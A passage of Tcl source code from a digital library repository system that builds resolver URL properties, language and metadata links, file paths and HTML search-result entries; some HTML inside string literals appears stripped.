{GetFileList} $verbList] # if 1 { set urlPropertyArray(url.metadata) http://$site/$path set urlPropertyArray(url.metadata(BibINPE)) http://$site/$path?choice=fullBibINPE set urlPropertyArray(url.metadata(BibTeX)) http://$site/$path?choice=fullbibtex set urlPropertyArray(url.metadata(Refer)) http://$site/$path?choice=fullrefer set urlPropertyArray(url.metadata(oai_dc)) http://$site/$path?choice=oai_dc } set targetFile [GetTargetFile $repName] # puts repName=$repName # puts targetFile=--$targetFile-- # set path [CreateAbsolutePath $ibi $repName $metadataRep $targetFile $filePath $verbList $referenceType $size] set path [CreateAbsolutePath $ibi2 $repName $metadataRep $targetFile $filePath $verbList $referenceType $size] # puts path=--$path-- # > url # regsub -all { } http://$site/$path {+} urlPropertyArray(url) if [string equal {yes} $redirectToMetadata] { set urlPropertyArray(url) $urlPropertyArray(url.metadata) set urlPropertyArray(contenttype) {Metadata} } else { set urlPropertyArray(url) http://$site/$path } } # if ![string equal {GetFileList} $verbList] # if 1 { # > # > url.lastedition # > url.lastedition.metadata if ![info exists metadataArray($metadataRep-0,nextedition)] { # no next edition set urlPropertyArray(url.lastedition) http://$site/$path set urlPropertyArray(contenttype.lastedition) $urlPropertyArray(contenttype) set urlPropertyArray(state.lastedition) $urlPropertyArray(state) set urlPropertyArray(timestamp.lastedition) $urlPropertyArray(timestamp) set urlPropertyArray(url.lastedition.metadata) $urlPropertyArray(url.metadata) set urlPropertyArray(url.lastedition.metadata(BibINPE)) ${urlPropertyArray(url.metadata(BibINPE))} set urlPropertyArray(url.lastedition.metadata(BibTeX)) ${urlPropertyArray(url.metadata(BibTeX))} set urlPropertyArray(url.lastedition.metadata(Refer)) ${urlPropertyArray(url.metadata(Refer))} set urlPropertyArray(url.lastedition.metadata(oai_dc)) ${urlPropertyArray(url.metadata(oai_dc))} } # > url.translation set metadataRepList [FindMetadataRepList $repName] # puts --$translationRepList-- # puts --$verbList-- # puts --$metadataFlag-- # puts --$metadataRepList-- array set urlPropertyArray [AddLanguageURL $ibi $translationRepList $metadataFlag $filePath $verbList $referenceType $site $size translation $clientIPAddress $metadataFieldNameList] array set urlPropertyArray [AddLanguageURL $ibi $metadataRepList 1 $filePath $verbList $referenceType $site $size metadata.translation $clientIPAddress $metadataFieldNameList] if 0 { if {!$metadataFlag && [lsearch $verbList GetMetadata] == -1 && $countOneClickFlag} { # Count one click set URParts [file split $repName] if [regexp {Original} $urlPropertyArray(state)] { set localURLibClientSocketId [eval "StartCommunication $serverAddress"] Submit $localURLibClientSocketId [list PostponeOneClickCount $URParts] close $localURLibClientSocketId } # Count one click - end } } # < } # > urlkey if 0 { # commented by GJFB in 2024-08-17 because under overloaded use (sort of Denial-of-Service attack) the OpenSession procedure doesn't return set urlPropertyArray(urlkey) [OpenSession urlkey] ;# session is closed in AcknowledgeArchive which is run once the Archive receives the acknowledgement from the resolver # set urlPropertyArray(urlkey) {} # CloseSession $urlPropertyArray(urlkey) urlkey } else { # added by GJFB in 2024-08-17 - actually OpenSession was used just to produce a random urlkey set currentTime [clock milliseconds] regsub {0\.} [expr [SortRandomNumber]/double(233280)] {} randomPassword ;# to reduce key violation - similar code in OpenSession set urlPropertyArray(urlkey) $currentTime-$randomPassword } if 0 { # use all the properties (useful for testing) set urlPropertyList2 [array get urlPropertyArray] } else { # use only the necessary properties set nameList {} if {[info exists metadataFieldList] && ![string equal {} $metadataFieldList]} {lappend nameList metadatafieldlist} ;# not part of the norm set index [lsearch $verbList {GetFileList}] set verbList [lreplace $verbList $index $index] ;# drop GetFileList set verbList2 $verbList set type [ConvertVerbListToType $verbList2] # Expand to all available languages # when a verb in the URLRequest is GetTranslation (without a language parameter) # then one must expand to all available languages in order to the resolver select the preferred language among the langage preference set by the user in its browser regsub -all {translation(\.|$)} $type {translation*\1} type ;# lastedition.translation.metadata.translation -> lastedition.translation*.metadata.translation* # Expand to all available languages - end set type2 $type while {![string equal {} $type2] && ![llength [array names urlPropertyArray url$type2]]} { # type2 is non-empty and url$type2 doesn't exist set verbList2 [lrange $verbList2 0 end-1] set type2 [ConvertVerbListToType $verbList2] regsub -all {translation(\.|$)} $type2 {translation*\1} type2 ;# lastedition.translation.metadata.translation -> lastedition.translation*.metadata.translation* } # type2 is empty or url$type2 exists # puts ----$type # => ----.translation* # puts ----$type2 # => ----.translation* set firstVerb [lindex $verbList 0] # puts --$firstVerb-- if [string equal {GetLastEdition} $firstVerb] { set nameList [concat $nameList [array names urlPropertyArray ibi$type2]] ;# needed by ResolveIBI2 to run TestIBIEquality if 0 { # old code if [TestIBIEquality $urlPropertyArray(ibi.nextedition) $urlPropertyArray(ibi)] { # no next edition set nameList [concat $nameList [array names urlPropertyArray contenttype$type2]] set nameList [concat $nameList [array names urlPropertyArray state$type2]] set nameList [concat $nameList [array names urlPropertyArray timestamp$type2]] set nameList [concat $nameList [array names urlPropertyArray url$type2]] lappend nameList urlkey } lappend nameList ibi.nextedition } else { # new code if [info exists metadataArray($metadataRep-0,nextedition)] { lappend nameList ibi.nextedition } else { # no next edition # .lastedition set nameList [concat $nameList [array names urlPropertyArray contenttype$type2]] set nameList [concat $nameList [array names urlPropertyArray state$type2]] set nameList [concat $nameList [array names urlPropertyArray timestamp$type2]] set nameList [concat $nameList [array names urlPropertyArray url$type2]] lappend nameList urlkey } } } else { set nameList [concat $nameList [array names urlPropertyArray ibi$type2]] if [llength [array names urlPropertyArray url$type]] { set nameList [concat $nameList [array names urlPropertyArray contenttype$type2]] set nameList [concat $nameList [array names urlPropertyArray state$type2]] set nameList [concat $nameList [array names urlPropertyArray timestamp$type2]] set nameList [concat $nameList [array names urlPropertyArray url$type2]] if ![string equal {} $metadataFieldNameList] { set nameList [concat $nameList [array names urlPropertyArray metadatafieldlist$type2]] ;# added by GJFB in 2022-02-27 } lappend nameList urlkey } else { # don't add the above properties - useful with http://gjfb/LK47B6W/E6H5HH+: } } if [regexp {GetTranslation} $firstVerb] { set type2 [ConvertVerbListToType $firstVerb] set nameList [concat $nameList [array names urlPropertyArray ibi$type2]] } lappend nameList archiveaddress ibi ibi.archiveservice ibi.platformsoftware # lappend nameList archiveurlibaddress ;# not part of the norm - used by FindSites2 only - for future use to avoid using GetServerAddressFromHTTPHost # puts ----$nameList---- set urlPropertyList2 {} foreach name [lsort -unique $nameList] { lappend urlPropertyList2 $name $urlPropertyArray($name) } } # puts --$urlPropertyList2-- # fconfigure stdout -encoding utf-8 ;# cannot be used # puts [fconfigure stdout -encoding] ;# gjfb returns unicode # puts [encoding system] ;# gjfb returns cp1252 # puts --ÃO-- # puts --[encoding convertto utf-8 ÃO]-- ;# gjfb returns Ã?O instead of ÃO # puts --[encoding convertto utf-8 $urlPropertyList2]-- # set xxx $urlPropertyList2 # Store xxx C:/tmp/bbb.txt auto 0 a # set xxx [encoding convertto utf-8 $urlPropertyList2] # Store xxx C:/tmp/bbb.txt auto 0 a if 0 { ## when requiredItemStatus is Original or Global Original and all URL point to copies, # when requiredItemStatus is Original and all URL point to copies, # then return coud be empty return {} } return [list $urlPropertyList2] ;# list is needed otherwise empty elements are lost in the communication through multiple submit # return [list [encoding convertto utf-8 $urlPropertyList2]] ;# commented by GJFB in 2015-01-07 - introduces accent problem (ÃO -> Ã?O) probably already utf-8, new conversion is inappropriate } # GetURLPropertyList - end # ---------------------------------------------------------------------- # ComputeRedirectToMetadata # used in GetURLPropertyList and AddLanguageURL only # returns yes or no proc ComputeRedirectToMetadata {repName clientIPAddress} { # readerGroup set readerGroup [join [Select readergroup [list repository, $repName]]] # readPermission # ex: deny from all and allow from 150.163 set readPermission [join [Select readpermission [list repository, $repName]]] if {[string equal {} $readerGroup] && [regexp {deny} $readPermission]} { set redirectToMetadata yes } else { set redirectToMetadata no } if [string equal {yes} $redirectToMetadata] { set ipAddress [lindex $clientIPAddress end] ;# client or proxy ip # foreach similar to the one in AllowedRemoteAddress foreach ip [ReturnAllowedIPList $readPermission] { if [regexp "^$ip" $ipAddress] { set redirectToMetadata no ;# don't display metadata break } } } return $redirectToMetadata } # ComputeRedirectToMetadata - end # ---------------------------------------------------------------------- # FindIBIType # used in GetURLPropertyList only # ibi value is a repository name, an IBIp or IBIn proc FindIBIType {ibi} { if {[regsub -all {/} $ibi {/} m] == 3} { # rep return rep } else { # opaque ibi (ibip or ibin) if [regexp {[^/01lIO]+X[^/01lIO]+Z[^/01lIOX]+[XY]?[^/01lIOX]*} $ibi] { # ibin return ibin } else { # ibip return ibip } } } # FindIBIType - end # ---------------------------------------------------------------------- # AddLanguageURL # used in GetURLPropertyList only proc AddLanguageURL { ibi repList metadataFlag filePath verbList referenceType site size type clientIPAddress metadataFieldNameList } { # runs with post global metadataArray global repositoryProperties global loCoInRep set porpertyList {} # puts --$repList-- # puts $metadataFlag # puts $type # puts [CallTrace] # contentType foreach rep $repList { # ibi2 set ibi2 [list rep $rep] if $metadataFlag { set metadataRepository $rep set filePath {} set contentType {Metadata} } else { set metadataRepository [FindMetadataRep $rep] set contentType {Data} set identifier [FindIdentifierNameFromIBI $rep $metadataFlag] if {[regsub -all {/} $identifier {/} m] != 3} { # opaque ibi (ibip or ibin) # ibi2 lappend ibi2 [FindIBIType $identifier] $identifier } } # state set lastHostCollection [lindex [LoadHostCollection $rep] end] if {$lastHostCollection == "$loCoInRep"} {set state Original} else {set state Copy} # stamp set stamp [lindex [GetVersionStamp $rep] 0] regsub {(\d{4,}):(\d{2})\.(\d{2})\.(\d{2})\.(\d{2})\.(\d{2})} $stamp {\1-\2-\3T\4:\5:\6Z} stamp ;# convert to ISO 8601 # redirectToMetadata set redirectToMetadata [ComputeRedirectToMetadata $rep $clientIPAddress] set targetFile [GetTargetFile $rep] # puts --$metadataRepository-- set referenceType $metadataArray($metadataRepository-0,referencetype) if [info exists repositoryProperties($rep,language)] { set language $repositoryProperties($rep,language) regsub -all {[;.]} $language {} language ;# English pt; fr; en. -> pt fr en - added by GJFB in 2015-02-06 regexp {\[(.*)\]} $language m language ;# English {[en]} -> en } else { set language {} } # set path [CreateAbsolutePath $ibi $rep $metadataRepository $targetFile $filePath $verbList $referenceType $size] set path [CreateAbsolutePath $ibi2 $rep $metadataRepository $targetFile $filePath $verbList $referenceType $size] # regsub -all { } http://$site/$path {+} url set url http://$site/$path if 1 { # added by GJFB in 2022-02-27 - required to resolve ibi like LK47B6W/E6H5HH+, when referenced like in http://gjfb:1905/ibi/LK47B6W/E6H5HH+(pt-BR), uses metadatafieldlist which is required to display the right header menu bar (otherwise the displayed header/metadata is the one of LK47B6W/E6H5HH) if ![string equal {} $metadataFieldNameList] { # puts "metadataFieldNameList = $metadataFieldNameList" # puts "metadataRep = $metadataRep" SetFieldValue2 $metadataRepository-0 $metadataFieldNameList ;# ex: metadataFieldNameList == {identifier nexthigherunit shorttitle} (this example is defined in Get) set metadataFieldList {} foreach metadataFieldName $metadataFieldNameList { # lappend metadataFieldList $metadataFieldName lappend metadataFieldList $metadataFieldName [set $metadataFieldName] } # puts "metadataFieldList = $metadataFieldList" } } if [string equal {} $language] { # > ibi.translation # > ibi.metadata.translation lappend porpertyList ibi.${type} [list rep $rep] if [string equal {no} $redirectToMetadata] { # > contenttype.translation # > contenttype.metadata.translation lappend porpertyList contenttype.${type} $contentType # > state.translation # > state.metadata.translation lappend porpertyList state.${type} $state # > timestamp.translation # > timestamp.metadata.translation lappend porpertyList timestamp.${type} $stamp # > url.translation # > url.metadata.translation lappend porpertyList url.${type} $url # > metadatafieldlist.translation # > metadatafieldlist.metadata.translation if ![string equal {} $metadataFieldNameList] { lappend porpertyList metadatafieldlist.${type} $metadataFieldList ;# added by GJFB in 2022-02-27 } } } else { foreach l $language { if [regexp {[a-z][a-z]-?[[:alpha:]]?[[:alpha:]]?} $l] { # language has the correct syntax xx[-xx] or xx[-XX] # puts $rep # > ibi.translation(xx-XX) # > ibi.metadata.translation(xx-XX) lappend porpertyList ibi.${type}($l) [list rep $rep] # > contenttype.translation(xx-XX) # > contenttype.metadata.translation(xx-XX) if [string equal {no} $redirectToMetadata] { lappend porpertyList contenttype.${type}($l) $contentType # > state.translation # > state.metadata.translation lappend porpertyList state.${type}($l) $state # > timestamp.translation(xx-XX) # > timestamp.metadata.translation(xx-XX) lappend porpertyList timestamp.${type}($l) $stamp # > url.translation(xx-XX) # > url.metadata.translation(xx-XX) lappend porpertyList url.${type}($l) $url # > metadatafieldlist.translation(xx-XX) # > metadatafieldlist.metadata.translation(xx-XX) if ![string equal {} $metadataFieldNameList] { lappend porpertyList metadatafieldlist.${type}($l) $metadataFieldList ;# added by GJFB in 2022-02-27 } } } } } } return $porpertyList } # AddLanguageURL - end # ---------------------------------------------------------------------- # SetFieldValue2 # used in GetURLPropertyList only # by GJFB in 2013-08-16 - more efficient than SetFieldValue for post proc SetFieldValue2 {rep-i fieldNameList} { # runs with post only foreach fieldName $fieldNameList { upvar $fieldName fieldValue set fieldValue [GetFieldValue ${rep-i} $fieldName] } } # SetFieldValue2 - end # ---------------------------------------------------------------------- # SetFieldValue3 # used by Script in dpi.inpe.br/banon-pc2@1905/2006/02.16.12.09 only # by GJFB in 2015-08-06 - to avoid too much call to GetFieldValue through socket when using SetFieldValue in cgi-script proc SetFieldValue3 {rep-i fieldNameList} { # runs with post only global referRepository global ${referRepository}::conversionTable set fieldList {} foreach fieldName $fieldNameList { if [string equal {creatorname} $fieldName] { # creatorname is generic and points to %A set referenceType [GetFieldValue ${rep-i} referencetype] set fieldName2 $conversionTable($referenceType,%A) lappend fieldList $fieldName [GetFieldValue ${rep-i} $fieldName2] } else { lappend fieldList $fieldName [GetFieldValue ${rep-i} $fieldName] } } return $fieldList } # SetFieldValue3 - end # ---------------------------------------------------------------------- # CreateAbsolutePath # used in GetURLPropertyList and AddLanguageURL only proc CreateAbsolutePath { ibi2 repName metadataRep targetFile filePath verbList referenceType size } { # runs with post global homePath # puts targetFile=--$targetFile-- # puts verbList=--$verbList-- # if {[string equal {} $filePath] || [string equal {GetFileList} $verbList]} # if {[string equal {} $filePath] || [lsearch $verbList GetFileList] != -1} { array set ibiArray $ibi2 if [info exists ibiArray(ibip)] { set ibi $ibiArray(ibip) } else { set ibi $ibiArray(rep) } if {[lsearch $verbList GetFileList] != -1} { # GetFileList set path displaydoccontent.cgi/$repName?displaytype=FileList # set path displaydoccontent.cgi/$ibi?displaytype=FileList } else { if 1 { ;# added by GJFB in 2021-10-16 - see same coding in CreateDirectoryContentList in utilities1.tcl # changes require doing unpost/post # if {[regexp {ibi/[^/]+(\.|W|Z)[^/]*/[^/]*} $targetFile] || [regexp {doi/10\.[^/]*/[^/]*} $targetFile]} # ;# commented by GJFB in 2023-04-28 # if {[regexp {(ibi-?|rep-?)/[^/]+(\.|W|Z)[^/]*/[^/]*} $targetFile] || [regexp {doi/10\.[^/]*/[^/]*} $targetFile] || [regexp {(goto-?|rep-?|ibi-?)/[^/]*/[^/]*/[^/]*/} $targetFile]} # ;# added by GJFB in 2023-04-28 - commented in 2023-06-05 if {[regexp {ibi-?/[^/]+(W|Z)[^/]*/[^/]*} $targetFile] || [regexp {fullypersistenthref/} $targetFile] || [regexp {(goto-?|ibi-?)/[^/]*/[^/]*/[^/]*/} $targetFile]} { ;# added by GJFB in 2023-06-05 # 409 error type detected # set path customizeerror.cgi/409 ;# name conflict - Reserved address - the target file path cannot contain the names 'ibi', 'ibi-', 'rep', 'rep-', 'goto', 'goto-' or 'doi' set path customizeerror.cgi/409 ;# name conflict - Reserved address - the target file path cannot contain the names 'ibi', 'ibi-', 'goto', 'goto-' or 'fullypersistenthref' return $path } } switch -exact -- $targetFile { mirror.cgi { set path col/$repName/doc/mirror.cgi } metadata.cgi { set path col/$repName/doc/metadata.cgi } default { if [string equal {} $targetFile] { # no target file # if {[string equal {} $size] && ![string equal {Archival Unit} $referenceType]} # if {[string equal {} $size] && ![regexp {^(Archival Unit|Resume)$} $referenceType]} { set path col/$metadataRep/doc/metadata.cgi ;# display the metadata } else { # set path displaydoccontent.cgi/$repName ;# commented by GJFB in 2023-03-14 set path displaydoccontent.cgi/$repName?nonemptyquerystring=couldBeAnyValue ;# added by GJFB in 2023-03-14 to allow the display of Archival Unit and Resume content just from absolute persistent links (links of the form: protocol://server/ibi/identifier) - while links of the form: protocol://server/col/repositorio/doc result to the file list display (see 2023-03-14 companion update by GJFB in DisplayDocContent) # set path displaydoccontent.cgi/$ibi } } else { # targetFileExtension set targetFileExtension [file extension $targetFile] # targetFileType set targetFileType [string trimleft $targetFileExtension .] if [regexp {^cgi/} $targetFile] { # the target file is a cgi script - added by GJFB in 2014-03-12 # now both links are resolved: # http://gjfb/83LX3pFwXQZ52hzrGTdYCT/KbJr6/script.cgi?query=ref+conference&fieldlist=author+title # http://gjfb/83LX3pFwXQZ52hzrGTdYCT/KbJr6?query=ref+conference&fieldlist=author+title set rootName [lindex [file split [file rootname $targetFile]] end] set path col/$repName/doc/$rootName.cgi } elseif {[regexp -nocase {tex} $targetFileType] || \ [TestContentType $repName {^Tcl Page$|^Index$|^CGI Script$|^Submission Form$} $homePath]} { # .tex target file or Tcl Page, Index, CGI Script or Submission Form set path createpage.cgi/$repName/doc/$targetFile # elseif {[string equal {Image} $referenceType] && [regexp -nocase {jpg|bmp} $targetFileType]} # } elseif {[string equal {Image} $referenceType] && [regexp -nocase {bmp|jpg|jpeg} $targetFileType]} { ;# added by GJFB in 2020-07-27 # display Gallery set targetDirName [file dirname $targetFile] ;# added by GJFB in 2020-03-25 to work with images in directories set pwd [pwd] # cd $homePath/col/$repName/doc cd $homePath/col/$repName/doc/$targetDirName ;# added by GJFB in 2020-03-25 to work with images in directories # set imageList [glob -nocomplain *$targetFileExtension] ;# commented by GJFB in 2020-07-27 - fail to capture all image names set imageList {} ;# added by GJFB in 2020-07-27 set imageList [concat $imageList [glob -nocomplain {*.[bB][mM][pP]}]] ;# added by GJFB in 2020-07-27 set imageList [concat $imageList [glob -nocomplain {*.[jJ][pP][gG]}]] ;# added by GJFB in 2020-07-27 set imageList [concat $imageList [glob -nocomplain {*.[jJ][pP][eE][gG]}]] ;# added by GJFB in 2020-07-27 cd $pwd if {[llength $imageList] > 1} { set path displaydoccontent.cgi/$repName } else { # set path col/$repName/doc/$targetFile ;# commented by GJFB in 2021-07-16 set path displaydoccontent.cgi/$repName ;# added by GJFB in 2021-07-16 - image size might be large and should be displayed within a gallery } } else { set path col/$repName/doc/$targetFile } } } } } } else { set path col/$repName/doc/$filePath } # regsub -all { } $path {%20} path # set convertToUTF8 [string equal {utf-8} [encoding system]] ;# solves the accent problem - same code is used in xxDocContent.html - commented by GJFB in 2015-01-12 # set path [ConvertURLToHexadecimal $path $convertToUTF8] set properytList [ReturnFileProperties $homePath/$path fullutf8] array set propertyArray $properytList set path [ConvertURLToHexadecimal $path $propertyArray(fullutf8)] # puts $path return $path } # CreateAbsolutePath - end # ---------------------------------------------------------------------- # GetMostRecentMetadataRep # used when clicking The Most Recent # justFullTexts values are 0 or 1 # 1 means to consider just full texts # sortedFieldName is the name of the field used in CreateOutput to sort the entries # examples of sortedFieldName are pages (page is accepted), title, date ... proc GetMostRecentMetadataRep {mirrorRep {maximumNumberOfEntries 10} {justFullTexts 0} {sortedFieldName {}}} { # runs with post global metadataArray # global mostRecentReferences global loCoInRep global serverAddress global homePath global environmentArray global loBiMiRep # puts "maximumNumberOfEntries = $maximumNumberOfEntries - justFullTexts = $justFullTexts" if $justFullTexts { upvar #0 mostRecentFullTexts mostRecentReferences } else { upvar #0 mostRecentReferences mostRecentReferences ;# shared with UpdateTheMostRecent (in Search.tcl) } ## Filter search result ## in the future, this filter could act selectively on each metadata repository # if ![TestContentType $mirrorRep Mirror] {set mirrorRep $loBiMiRep} # Load $homePath/col/$mirrorRep/doc/@hidedMetadataRepositoryList.txt fileContent ## no or empty @hidedMetadataRepositoryList.txt file means show all # set fileContent [string trim $fileContent " \n"] # if {[string compare {All Metadata Repositories} $fileContent] == 0} {return {}} # if {[string compare {All Metadata Repositories} $environmentArray($mirrorRep,hidedmetadatarepositorylist)] == 0} {return {}} ## Filter search result - end if 0 { # time consuming processing # Check consistency with the file system foreach index [array names mostRecentReferences] { # rep-i regsub {,.*} $index {} rep-i lappend searchResult ${rep-i} } # foreach {searchResult update} [CheckMetadataConsistency $searchResult $maximumNumberOfEntries] {break} set update [CheckMetadataConsistency searchResult $maximumNumberOfEntries] # searchResult not used if $update { # remove unset mostRecentReferences # add array set mostRecentReferences [FindTheMostRecentReferences metadataArray $maximumNumberOfEntries] # RERUN CHECK return [GetMostRecentMetadataRep $mirrorRep $maximumNumberOfEntries] } # Check consistency with the file system - end } if {[llength [array names mostRecentReferences]] < $maximumNumberOfEntries} { # set t1 [clock clicks] # array set mostRecentReferences [FindTheMostRecentReferences metadataArray $maximumNumberOfEntries] array set mostRecentReferences [FindTheMostRecentReferences2 $maximumNumberOfEntries] # set t2 [clock clicks] # puts [expr $t2 - $t1] } # site # set site [GetServerAddress] set site $serverAddress # set xxx $site # Store xxx C:/tmp/bbb auto 0 a set list {} foreach index [array names mostRecentReferences] { # rep-i regsub {,.*} $index {} rep-i # metadataLastUpdate set metadataLastUpdate $mostRecentReferences($index) # state set state [ReturnState ${rep-i}] ConditionalSet sortedFieldValue metadataArray(${rep-i},$sortedFieldName) {} # lappend list [list $site $citationKey $stamp ${rep-i} $state] ;# this is from getMetadataRepositories # lappend list [list $site {} $metadataLastUpdate ${rep-i} $state] lappend list [list $site {} $metadataLastUpdate ${rep-i} $state $sortedFieldValue] } return $list } # source C:/usuario/gerald/URLib2/col/dpi.inpe.br/banon/1998/08.02.08.56/auxdoc/.metadataArray.tcl # puts [GetMostRecentMetadataRep 10] # GetMostRecentMetadataRep - end # ---------------------------------------------------------------------- # CreateSiteEntry # pID not used # proc CreateSiteEntry {rep-i mirrorRep pID} # proc CreateSiteEntry {rep-i mirrorRep} { global metadataArray # global loCoInRep global localSite regexp {(.*)-([^-]*)$} ${rep-i} m metadataRep i # rep set rep [ReturnRepositoryName $metadataRep] # lastUpdate set lastUpdate $metadataArray(${rep-i},lastupdate) ## site # set site [GetServerAddress] # foreach {state officialSite imageURL} [ComputeVersionState $rep $loCoInRep $pID] {break} # foreach {state officialSite imageURL} [ComputeVersionState $rep $loCoInRep] {break} foreach {state} [ComputeVersionState $rep] {break} array set stateTable { {Registered Original} {Official} {Modified Original} {Modified} {Copy of an Original} {Copied} {Modified Copy of an Original} {Modified} {Unchecked} {Unchecked} } set state $stateTable($state) switch -exact -- $state { Modified { set color BROWN } Copied { set color BLUE } Official { set color BLUE } Unchecked { set color BLACK } } # lappend output "$lastUpdate" # lappend output "$lastUpdate" lappend output "$lastUpdate" lappend output {$siteList2} lappend output
# metadataLastUpdate set metadataLastUpdate $metadataArray(${rep-i},metadatalastupdate) return [list $metadataLastUpdate $output] } # CreateSiteEntry - end # ---------------------------------------------------------------------- # CreateShortEntry # path example: ../ proc CreateShortEntry {rep-i path mirrorRep} { global metadataArray global serverAddress global localSite # citationKey # set citationKey $metadataArray(${rep-i},citationkey) ;# commented by GJFB in 2018-06-14 set citationKey [EscapeUntrustedData $metadataArray(${rep-i},citationkey)] ;# added by GJFB in 2018-06-14 set type full # metadataRep and i regexp {(.*)-([^-]*)$} ${rep-i} m metadataRep i # window regsub -all {/} ${mirrorRep}___$metadataRep {__} window regsub -all {\.|@|-} $window {_} window set window ${window}___$i # metadataLastUpdate set metadataLastUpdate $metadataArray(${rep-i},metadatalastupdate) regsub -all { } $metadataLastUpdate {+} metadataLastUpdate2 set metadataLastUpdate2 [EscapeUntrustedData $metadataLastUpdate2] ;# added by GJFB in 2019-04-30 - the date may contain untrusted data ## site # set site [GetServerAddress] # serverAddress2 regsub { +} $serverAddress {+} serverAddress2 # repository if {$i == 0} { # rep set rep [ReturnRepositoryName $metadataRep] lappend output "<\;$rep>\; ❘ " # lappend output "<\;$rep>\; | " } # lappend output "$citationKey" # lappend output "$citationKey" # lappend output "$citationKey" lappend output "$citationKey" lappend output {$siteList2} lappend output
return [list $metadataLastUpdate $output] } # CreateShortEntry - end # ---------------------------------------------------------------------- # CreateBriefEntry # path example: ../ # languageRepository value is: # dpi.inpe.br/banon/1999/05.03.22.11 or # dpi.inpe.br/banon/1999/06.19.22.43 ## relatedFlag value is 0 or 1, 1 means that the related button may appear in the brief entry (this is to avoid finding related of related) - not used # proc CreateBriefEntry {rep-i path mirrorRep languageRepository remoteIp includeReturnAddress hideSimilarButton keywords similarity} # ;# commented by GJFB in 2022-06-13 proc CreateBriefEntry { rep-i path mirrorRep languageRepository remoteIp \ includeReturnAddress hideSimilarButton keywords similarity \ {targetValue {_blank}} {searchInputValue {}} {childIdentifier {}} \ {forceRecentFlag 0} {forceHistoryBackFlag 1} } { ;# added by GJFB in 2022-06-13 global metadataArray # global referRepository # global ${referRepository}::conversionTable global loCoInRep global homePath global serverAddress global localSite global repositoryProperties global BibINPERepository global environmentArray global pythonCgiScriptForHistoryCaptureRepository global OAIProtocolRepository global MTD2-BRRepository global col # global commonWords ;# used with related only global ${languageRepository}::translationTable ;# switch to the appropriate language - set in mirror/xxSearchResult.tcl, mirror/xxReferenceTypeName.tcl and xxFillingInstructions.tcl (where xx is en, pt-BR, ...) global pythonPath ;# set in LoadGlobalVariables global standaloneModeFlag ;# set in LoadGlobalVariables global staticIPFlag ;# set in InformURLibSystem - added by GJFB in 2023-07-16 ## serverAddress # set serverAddress [GetServerAddress] ;# needed to avoid the use of ip when fetching a restricted update page # set xxx ${rep-i} # Store xxx C:/tmp/aaa auto 0 a # puts >>>${rep-i} # puts $forceHistoryBackFlag # puts [CallTrace] # searchInputValue2 regsub -all { } [string trimright $searchInputValue] {+} searchInputValue2 ;# added by GJFB in 2022-06-13 # metadataRep and i regexp {(.*)-([^-]*)$} ${rep-i} m metadataRep i # window regsub -all {/} ${mirrorRep}___$metadataRep {__} window regsub -all {\.|@|-} $window {_} window set window ${window}___$i # rep set rep [ReturnRepositoryName $metadataRep] # citationKey, identifier and referenceType # citationKey lappend output "\
" if 1 { lappend output "" ;# this html comment is used in DisplayDuplicates # set citationKey $metadataArray(${rep-i},citationkey) ;# commented by GJFB in 2018-06-14 set citationKey [EscapeUntrustedData $metadataArray(${rep-i},citationkey)] ;# added by GJFB in 2018-06-14 # lappend output "$citationKey \; \; \;" # lappend output "$citationKey \; \; \;" ;# commented by GJFB in 2018-02-08 lappend output "$citationKey
" ;# added by GJFB in 2018-02-08 because the citation key may be very long # lappend output "
$citationKey
 \; \; \;" ;# div forces a new line } # identifier lappend output "" # ConditionalSet identifier metadataArray(${rep-i},identifier) [ConvertFromRepository $rep 1] ;# identifier is too long ConditionalSet identifier metadataArray(${rep-i},identifier) {} if ![string equal {} $identifier] { # lappend output "
id $identifier
 \; \; \;" lappend output "id $identifier \; \; \;" } # referenceType array set bookTitleXreferenceTypeArray { Abstracts {Conference Abstract} Resumos {Conference Abstract} Abstracts/Posters {Conference Abstract/Poster} Resumos/Pôsteres {Conference Abstract/Poster} {Extended Abstracts} {Conference Extended Abstract} {Resumos Extendidos} {Conference Extended Abstract} Posters {Conference Poster} Pôsteres {Conference Poster} Videos {Conference Video} Vídeos {Conference Video} } lappend output "" set referenceType [ReturnType metadataArray ${rep-i}] # referenceType2 regsub -all { } $referenceType {} referenceType2 ;# Conference Proceedings -> ConferenceProceedings # defaultMirrorHomePageRep set defaultMirrorHomePageRep dpi.inpe.br/banon/2000/01.23.20.24 if [regexp {^(Conference Proceedings|Audiovisual Material)$} $referenceType] { if [info exists metadataArray(${rep-i},booktitle)] { set bookTitle $metadataArray(${rep-i},booktitle) if [info exists bookTitleXreferenceTypeArray($bookTitle)] { lappend output "$translationTable($bookTitleXreferenceTypeArray($bookTitle))" } else { lappend output "$translationTable($referenceType)" } } else { lappend output "$translationTable($referenceType)" } } else { if {[string equal {Journal Article} $referenceType] && [info exist metadataArray(${rep-i},issn)]} { # sherpa # icon is from: http://ca.wikipedia.org/wiki/Fitxer:Icon_External_Link.png # icon is from: http://commons.wikimedia.org/wiki/File:Icon_External_Link.png set sherpaLink {} foreach issn $metadataArray(${rep-i},issn) { regexp {\d{4}-\d{4}} $issn issn ;# 1865-0481 (electronic version) -> 1865-0481 lappend sherpaLink "" } lappend output "$translationTable($referenceType) [join $sherpaLink]" } else { lappend output "$translationTable($referenceType)" } } # restricted access if {[info exists metadataArray(${rep-i},readpermission)] && \ [regexp {deny} $metadataArray(${rep-i},readpermission)] && \ [info exists metadataArray(${rep-i},size)]} { # translationTable(restricted access) is defined in mirror/xxSearchResult.tcl (where xx is en, pt-BR, ...) lappend output "   $translationTable(restricted access)" # lappend output " > $environmentArray(spMailEntry)" if {[info exists metadataArray(${rep-i},notes)] && \ [regexp {(...) - (AGUARDANDO|AUTOR) (.+) (\d{4,}-\d{2}\-\d{2})} $metadataArray(${rep-i},notes) m messageAcronym m1 m2 date]} { lappend output "   $messageAcronym $date" ;# added by GJFB in 2024-06-21 to comment about the restricted access } } # similarity # display the similarity value # puts $similarity if {![regexp {:} $similarity] && ![string equal {} $similarity]} { # the similarity value is neither the value of a citation key nor empty lappend output "   ($similarity)" } ## prototype (symbol: pi - first letter of prototype in Greek) # master if 1 { # if {!$i && [info exists metadataArray(${rep-i},size)]} # ;# commented by GJFB in 2021-05-01 if !$i { ;# added by GJFB in 2021-05-01 - to include Archival Unit # not just a reference # if [info exists metadataArray(${rep-i},hostcollection)] # if [GetDocumentState $rep] { ;# added by GJFB in 2018-06-03 lappend output "   -m-" } else { lappend output "   ---" } } } # author and year lappend output "" if [string equal {Newspaper Article} $referenceType] { ConditionalSet author metadataArray(${rep-i},newspaper) {} } else { set author [FormatAuthorList [GetAuthor ${rep-i}] {;} 0 0 {&} 3] } set author [EscapeUntrustedData $author] ;# added 